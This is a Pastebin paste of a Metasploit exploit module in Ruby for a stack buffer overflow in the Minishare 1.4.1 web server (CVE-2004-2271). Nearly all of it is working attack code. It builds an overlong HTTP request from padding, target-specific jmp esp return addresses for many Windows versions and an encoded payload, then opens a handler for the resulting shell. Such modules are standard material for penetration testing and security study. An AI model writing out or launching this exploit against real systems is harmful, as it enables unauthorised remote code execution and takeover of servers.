UY-Scuti

Untitled

Jul 17th, 2019
410
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.99 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Exploit::Remote
  7. Rank = AverageRanking
  8.  
  9. include Msf::Exploit::Remote::HttpClient
  10.  
  11. def initialize(info = {})
  12. super(update_info(info,
  13. 'Name' => 'Minishare 1.4.1 Buffer Overflow',
  14. 'Description' => %q{
  15. This is a simple buffer overflow for the minishare web
  16. server. This flaw affects all versions prior to 1.4.2. This
  17. is a plain stack buffer overflow that requires a "jmp esp" to reach
  18. the payload, making this difficult to target many platforms
  19. at once. This module has been successfully tested against
  20. 1.4.1. Version 1.3.4 and below do not seem to be vulnerable.
  21. },
  22. 'Author' => [ 'acaro <acaro[at]jervus.it>' ],
  23. 'License' => BSD_LICENSE,
  24. 'References' =>
  25. [
  26. [ 'CVE', '2004-2271'],
  27. [ 'OSVDB', '11530'],
  28. [ 'BID', '11620'],
  29. [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0208.html'],
  30. ],
  31. 'Privileged' => false,
  32. 'Payload' =>
  33. {
  34. 'Space' => 1024,
  35. 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
  36. 'MinNops' => 64,
  37. 'StackAdjustment' => -3500,
  38. },
  39. 'Platform' => 'win',
  40. 'Targets' =>
  41. [
  42. ['Windows 2000 SP0-SP3 English', { 'Rets' => [ 1787, 0x7754a3ab ]}], # jmp esp
  43. ['Windows 2000 SP4 English', { 'Rets' => [ 1787, 0x7517f163 ]}], # jmp esp
  44. ['Windows XP SP0-SP1 English', { 'Rets' => [ 1787, 0x71ab1d54 ]}], # push esp, ret
  45. ['Windows XP SP2 English', { 'Rets' => [ 1787, 0x71ab9372 ]}], # push esp, ret
  46. ['Windows 2003 SP0 English', { 'Rets' => [ 1787, 0x71c03c4d ]}], # push esp, ret
  47. ['Windows 2003 SP1 English', { 'Rets' => [ 1787, 0x77403680 ]}], # jmp esp
  48. ['Windows 2003 SP2 English', { 'Rets' => [ 1787, 0x77402680 ]}], # jmp esp
  49. ['Windows NT 4.0 SP6', { 'Rets' => [ 1787, 0x77f329f8 ]}], # jmp esp
  50. ['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
  51. ['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
  52. ['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
  53. ['Windows XP SP3 French', { 'Rets' => [ 1787, 0x7e3a9353 ]}], # jmp esp
  54. ],
  55. 'DefaultOptions' =>
  56. {
  57. 'WfsDelay' => 30
  58. },
  59. 'DisclosureDate' => 'Nov 7 2004'))
  60. end
  61.  
  62. def exploit
  63. uri = rand_text_alphanumeric(target['Rets'][0])
  64. uri << [target['Rets'][1]].pack('V')
  65. uri << payload.encoded
  66.  
  67. print_status("Trying target address 0x%.8x..." % target['Rets'][1])
  68. send_request_raw({
  69. 'uri' => uri
  70. }, 5)
  71.  
  72. handler
  73. end
  74. end
Advertisement
Add Comment
Please, Sign In to add comment